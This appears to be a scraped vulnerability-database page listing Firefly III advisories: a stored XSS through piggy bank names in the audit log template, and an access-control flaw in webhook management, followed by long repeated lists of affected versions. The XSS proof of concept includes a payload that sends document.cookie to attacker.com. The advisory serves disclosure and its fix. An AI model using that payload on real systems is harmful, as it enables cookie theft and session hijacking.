            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 15, 2026

v6.4.21 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 14, 2026

v6.4.20 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


